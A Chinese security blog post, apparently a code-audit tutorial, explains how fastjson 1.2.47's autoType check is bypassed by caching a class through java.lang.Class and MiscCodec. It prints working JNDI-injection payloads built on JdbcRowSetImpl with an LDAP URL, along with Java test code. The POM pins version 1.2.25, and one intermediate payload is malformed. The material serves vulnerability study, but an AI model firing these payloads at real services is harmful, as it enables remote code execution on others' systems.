文章总结: 本文详细分析了fastjson1.2.47版本的漏洞绕过技术,通过代码审计发现该版本新增了checkAutoType函数进行安全检查,但存在缓存机制可被利用。攻击者可先通过java.lang.Class将恶意类放入缓存,再绕过安全检查实现RCE攻击。文章提供了完整的payload构造方法和验证代码,展示了如何利用MiscCodec反序列化器加载恶意类,从而绕过fastjson的安全限制。
综合评分: 85
文章分类: 代码审计,漏洞分析,WEB安全,应用安全
代码审计篇三-fastjson1.2.47绕过
原创
~~~
赤弋安全团队
2025年12月5日 08:49
陕西
01
POM文件如下
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>fastjson1.2.47</artifactId> <packaging>war</packaging> <version>1.0-SNAPSHOT</version> <name>fastjson1.2.47 Maven Webapp</name> <url>http://maven.apache.org</url> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.25</version> </dependency> </dependencies> <build> <finalName>fastjson1.2.47</finalName> </build></project>
02
代码分析
我们将 fastjson 的版本跳到1.2.25之后,继续运行恶意代码。
import com.alibaba.fastjson.JSON;public class JdbcRowSetImpl { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/RxOMIkBA\", \"autoCommit\":0}"; JSON.parseObject(payload); }}
显示autoType is not support. com.sun.rowset.JdbcRowSetImpl,这个错误我们在之前是没有见过的,接下来,我们调试一下代码,分析分析是哪里出现的问题。
当走到这个函数的时候,这里出现了一个checkAutoType(),这里我们可以和fastjson1.2.24的代码对比一下。
在1.2.24这个版本,这里直接LoadClass了,所以我们判断,它肯定是在checkAutoType()里面做了限制,毕竟后面返回了一个Class,实际上fastjson后面的修复基本上都是基于这个函数。
进入这个函数,我们可以发现,它有很多的 if,没有 else,这就对我们分析代码很不友好,接下来,我们一个一个进行分析。
这里就判断了加载的类名是否为空,无关紧要我们直接跳过,看下面的代码。
if (autoTypeSupport || expectClass != null)这里做了一个判断,autoTypeSupport这是代码中新增加的部分,是开启autoType的开关,目前这里是关的,expectClass这里也为空,那就是整个逻辑都是false,进入不了这个逻辑。
我们分析一下如果进入这个逻辑,它会怎么处理,首先遍历一下白名单,这个白名单是从配置文件中获取的,目前这个配置文件为空,如果配置文件刚好匹配,然后它会loadClass加载类。
然后就是黑名单遍历。
可以看到黑名单这里,它过滤了一些常见的恶意类,然后抛出一个异常。
接着往下执行,执行到getClassFromMapping,我们点进去,这里其实就是一个缓存表,如果缓存里面有就加载。
继续执行到clazz = deserializers.findClass(typeName);,也是缓存表,如果缓存表里面有,就加载它,就是说这两个缓存里面存在恶意类,就直接返回。
很明显,现在class是 null 的。
接着往下走,又是判断这个开关是否开启,又走了一遍黑白名单,但唯一不同的是判断了一下expectClass,反正在整个绕过过程中,我们想绕过黑白名单是没戏的,所以接着往下走。
来到框中代码,满足之后就可以加载class,但是目前我们是满足不了上述的条件。
接着判断clazz不为空,if (expectClass != null)我们就加载clazz,目前也满足不了这个条件。
最后是autoTypeSupport开关开着,就返回clazz,也不满足这个条件。
03
绕过分析
前面我们分析了所有代码,其实都不能利用,唯一能利用的就是第二部分,能否从缓存表里面找到恶意类,并且加载返回clazz。
来到mappings这里看看谁调用了它,一共两处,第一处是:它大概就是在初始化的时候放一些值,看了一下,就是八大基本类型了什么的,没什么用。
第二处是:loadClass这里,它这里就是可以往缓存表里面放这些类,大致的意思就是,如果你以前往缓存表里面加载过这个类了,后面直接用,不需要在额外的加载了。
那接下来,我们看看谁调用了loadClass。
我们最终确定了在MiscCodec里面调用了loadClass,点进去看一下,可以看到if (clazz == Class.class)当 Clazz等于Class.class的时候,它会加载这个恶意类。
所以我们可以看一下MiscCodes是什么,实际上它实现了一个序列化器和反序列化器。
我们之前调用反序列化的时候,实际上它是调用JavaBeanDeserializer.java,最后反序列化器是从DefaultJSONParser.java里面的config来的。
当它初始化的时候,它会把这些类和它的反序列化器都放进去。
我们可以看到Class.class也是用的MiscCodec这个反序列化器。
到这一步,我们大概就明白思路了。
fastjson 反序列化得类如果是Class.clas这个类的话,就会调用MiscCodes这个反序列化器,那这个反序列化器在它反序列化的时候它会调用loadCLass,它会把你传给它的字符串传进这个 loadClass 里面。
这个loadClass它会加载,在加载的同时,它会把它放在缓存里面。
实际单看这一部分是没啥问题的,但是有问题的是,我们把它放进缓存里面,它在checkAutoType的时候,会把这个clazz返回回来。
所以说我们第一步先通过正常加载把这个类放进缓存里面,第二步再通过从缓存里面查找,来绕过这个checkAutoType的检查。
Payload我们分为两步走:
1、反序列化一个 Class 类,值为恶意类
这里需要注意第一部分的 key 必须等于val否则就会报错。
所以第一部分如下:
String payload = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
把这个恶意类先放进缓存里面。
2、接着用之前的 payload 即可
String payload = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\",{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/RxOMIkBA\", \"autoCommit\":0}}";
3、最终代码如下:
import com.alibaba.fastjson.JSON;public class JdbcRowSetImpl { public static void main(String[] args) { String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/ewYsAvJi\",\"autoCommit\":\"true\"}}"; JSON.parseObject(payload); }}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赤弋安全团队 ~~~《代码审计篇三-fastjson1.2.47绕过》